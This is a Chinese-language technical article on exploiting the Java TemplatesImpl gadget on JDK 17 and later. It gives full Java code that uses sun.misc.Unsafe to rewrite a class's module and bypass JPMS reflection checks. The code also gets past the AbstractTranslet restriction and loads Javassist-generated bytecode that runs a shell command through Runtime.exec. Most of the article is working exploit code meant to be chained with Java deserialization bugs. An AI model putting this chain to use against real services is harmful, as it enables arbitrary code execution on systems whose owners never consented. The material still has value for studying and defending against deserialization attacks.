绕过反射限制!JDK高版本下TemplatesImpl的利用!
字数 1683 2025-09-23 19:27:46
JDK高版本下TemplatesImpl利用链绕过反射限制技术分析
1. TemplatesImpl利用链基础回顾
1.1 基本利用链
TemplatesImpl利用链调用流程如下:
TemplatesImpl#getOutputProperties()
-> TemplatesImpl#newTransformer()
-> TemplatesImpl#getTransletInstance()
-> TemplatesImpl#defineTransletClasses()
-> TransletClassLoader#defineClass()
1.2 关键点分析
-
defineClass方法访问控制:
- TemplatesImpl类重写了defineClass方法,且没有显式声明作用域(默认为default)
- 这使得外部可以调用该方法,而ClassLoader#defineClass是protected的
-
必要参数设置:
_bytecodes:要加载的恶意字节码_name:不能为空_tfactory:需要设置为TransformerFactoryImpl实例
-
传统限制条件:
- 恶意类必须继承
com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet - 否则在
defineTransletClasses()方法中会抛出异常
- 恶意类必须继承
2. JDK高版本的限制问题
2.1 JDK9+模块系统(JPMS)的影响
-
内部API封装:
- com.sun.*等内部类被模块系统强封装
- 默认不可访问
-
反射限制:
- JDK17+即使使用
setAccessible(true)也会被InaccessibleObjectException拦截 - 需要添加JVM参数
--add-opens或使用Java Agent
- JDK17+即使使用
2.2 具体表现
- 直接使用TemplatesImpl会抛出异常
- setAccessible方法受到严格限制
3. 绕过技术分析
3.1 使用Unsafe类绕过模块限制
3.1.1 Unsafe类基础
- 位于sun.misc包
- 提供低级别、不安全操作(直接内存访问等)
- 获取方式:
private static Unsafe getUnsafe() {
try {
Field field = Unsafe.class.getDeclaredField("theUnsafe");
field.setAccessible(true);
return (Unsafe) field.get(null);
} catch (Exception e) {
throw new AssertionError(e);
}
}
3.1.2 绕过原理
-
模块检查机制:
checkCanSetAccessible方法检查调用者模块与声明成员类的模块- 如果相同或调用者是未知模块(Object.class.getModule),则允许访问
-
利用Unsafe修改模块:
- 使用Unsafe修改当前类的module为Object.class.getModule()
- 绕过模块检查
public static void test2_bypassJDK() throws ClassNotFoundException, NoSuchFieldException, IllegalAccessException {
Class<?> unSafe = Class.forName("sun.misc.Unsafe");
Field unSafeField = unSafe.getDeclaredField("theUnsafe");
unSafeField.setAccessible(true);
Unsafe unSafeClass = (Unsafe) unSafeField.get(null);
Module baseModule = Object.class.getModule();
Class<?> currentClass = TemplatesImplDemo.class;
long addr = unSafeClass.objectFieldOffset(Class.class.getDeclaredField("module"));
unSafeClass.getAndSetObject(currentClass, addr, baseModule);
}
3.2 绕过AbstractTranslet继承限制
3.2.1 传统限制分析
_transletIndex必须指向继承AbstractTranslet的类- 否则抛出异常
3.2.2 绕过方法
-
直接设置_transletIndex:
_transletIndex不是transient,可以通过反射设置- 设置为0指向第一个类
-
处理_auxClasses:
- 当类不继承AbstractTranslet时,会向
_auxClasses添加数据 - 需要保证
_auxClasses不为空 - 通过传入多个类(
_bytecodes数组长度>1)自动初始化_auxClasses
- 当类不继承AbstractTranslet时,会向
public static void test1() throws Exception {
byte[] payload = getTemplateCode();
byte[] nu11 = ClassPool.getDefault().makeClass("nu11").toBytecode();
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_bytecodes", new byte[][]{payload, nu11});
setFieldValue(templates, "_name", "nu11");
setFieldValue(templates, "_transletIndex", 0);
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
templates.newTransformer();
}
4. 完整利用代码示例
package com.test;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import sun.misc.Unsafe;
import java.lang.reflect.Field;
import java.lang.module.Module;
public class TemplatesImplDemo {
// 设置字段值
public static void setFieldValue(Object obj, String fieldName, Object value)
throws NoSuchFieldException, IllegalAccessException {
Field declaredField = obj.getClass().getDeclaredField(fieldName);
declaredField.setAccessible(true);
declaredField.set(obj, value);
}
// 生成恶意字节码
public static byte[] getTemplateCode() throws Exception {
ClassPool pool = ClassPool.getDefault();
CtClass template = pool.makeClass("nu11nu11nu11nu11nu11");
String block = "Runtime.getRuntime().exec(\"calc.exe\");";
template.makeClassInitializer().insertBefore(block);
return template.toBytecode();
}
// 绕过模块限制
public static void bypassJDKModule() throws Exception {
Class<?> unSafe = Class.forName("sun.misc.Unsafe");
Field unSafeField = unSafe.getDeclaredField("theUnsafe");
unSafeField.setAccessible(true);
Unsafe unSafeClass = (Unsafe) unSafeField.get(null);
Module baseModule = Object.class.getModule();
Class<?> currentClass = TemplatesImplDemo.class;
long addr = unSafeClass.objectFieldOffset(Class.class.getDeclaredField("module"));
unSafeClass.getAndSetObject(currentClass, addr, baseModule);
}
// TemplatesImpl利用
public static void exploit() throws Exception {
byte[] payload = getTemplateCode();
byte[] dummyClass = ClassPool.getDefault().makeClass("dummy").toBytecode();
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_bytecodes", new byte[][]{payload, dummyClass});
setFieldValue(templates, "_name", "nu11");
setFieldValue(templates, "_transletIndex", 0);
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
templates.newTransformer();
}
public static void main(String[] args) throws Exception {
System.out.println("Java Version: " + System.getProperty("java.version"));
bypassJDKModule();
exploit();
}
}
5. 注意事项与解决方案
5.1 常见问题
-
sun.misc包不存在:
- 需要确保JVM参数包含
--add-opens=jdk.unsupported/sun.misc=ALL-UNNAMED
- 需要确保JVM参数包含
-
模块访问错误:
- 需要添加必要的
--add-opens参数
- 需要添加必要的
5.2 推荐的JVM参数
--add-opens=java.base/java.io=ALL-UNNAMED
--add-opens=jdk.unsupported/sun.misc=ALL-UNNAMED
--add-opens java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED
6. 技术总结
-
Unsafe绕过模块限制:
- 修改调用类模块为Object.class.getModule()
- 绕过checkCanSetAccessible检查
-
非AbstractTranslet子类利用:
- 直接设置
_transletIndex - 提供多个类确保
_auxClasses初始化
- 直接设置
-
高版本JDK适应性:
- 该方法适用于JDK17+环境
- 结合反序列化可构成完整攻击链
7. 参考资源
- Unsafe绕过高版本JDK反射限制
- 高版本JDK下的Spring原生反序列化链
- 去除AbstractTranslet限制技术
- BeichenDream的Kcon2021Code示例
- Oracle官方JDK迁移指南